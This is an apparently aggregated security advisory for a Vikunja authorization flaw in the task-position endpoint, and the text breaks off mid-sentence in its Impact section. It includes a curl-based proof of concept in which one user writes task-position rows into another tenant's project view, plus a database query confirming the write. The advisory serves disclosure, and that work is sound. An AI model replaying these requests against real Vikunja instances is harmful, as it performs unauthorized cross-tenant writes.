Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)

Story map

Why it is Yellow

• CVSS 5.3 medium
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Affected packages

References

• https://github.com/advisories/GHSA-w39f-h553-h2mx
• https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w39f-h553-h2mx
• https://nvd.nist.gov/vuln/detail/CVE-2026-91984
• https://github.com/go-vikunja/vikunja/pull/3688
• https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2
• https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0
• https://www.vulncheck.com/advisories/vikunja-before-2.6.0-broken-object-level-authorization-via-task-position
• https://github.com/advisories/GHSA-w39f-h553-h2mx

Original description

## Summary The task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task's own project) and the request body's `project_view_id` is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0. ## Details Affected endpoints (both verified): - v1: `POST /api/v1/tasks/{id}/position` - v2: `PUT /api/v2/tasks/{id}/position` Root cause in `pkg/models/task_position.go`: - `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` — i.e. the caller's write access to the task's own project. - `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task's project and no access check on the view's project. - `ProjectViewID` is body-bindable (`json:"project_view_id"`, no readOnly/param restriction, line 42). Contrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check. Observed behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {"task_id": ..., "project_view_id": <victim view>, "position": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` → `CanRead` on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering. ## PoC Steps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance. 1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID: ``` curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"victim"}' # -> {"id":200,...} curl "$BASE/api/v1/projects/200/views" -H "Authorization: Bearer $OWNER" # -> [{"id":771,"view_kind":"kanban",...}, ...] # remember VIEW=771 ``` 2. Attacker creates their own project and a task in it: ``` curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"title":"attacker"}' # -> {"id":201,...} curl -X PUT "$BASE/api/v1/projects/201/tasks" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"title":"evil"}' # -> {"id":105,...} ``` 3. Baseline — attacker positions their task in their own view (succeeds, expected): ``` curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": <OWN_VIEW>, "position": 100}' # -> 200 ``` 4. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever): ``` curl -X POST "$BASE/api/v1/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 100}' # -> 200 {"task_id":105,"project_view_id":771,"position":100} curl -X PUT "$BASE/api/v2/tasks/105/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 101}' # -> 200 (v2 twin behaves identically) ``` 5. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing): ``` curl -X POST "$BASE/api/v1/tasks/<VICTIM_TASK>/position" -H "Authorization: Bearer $ATTACKER" \ -H 'Content-Type: application/json' -d '{"project_view_id": 771, "position": 1}' # -> 403 Forbidden ``` 6. Persistence proof — the cross-tenant row exists in the database: ``` docker exec <db> psql -U vikunja -d vikunja -t -A -c \ "SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;" # -> 105|100 (row for the attacker's task inside the victim's view namespace) ``` Observed result: steps 4 and 6 succeed — a `task_positions` row `(attacker_task, victim_view)` is created and persisted; step 5 is refused with 403. Note: `"position": 1` is above `MinPositionSpacing` (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact). ## Impact **Impact summary:** a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), ord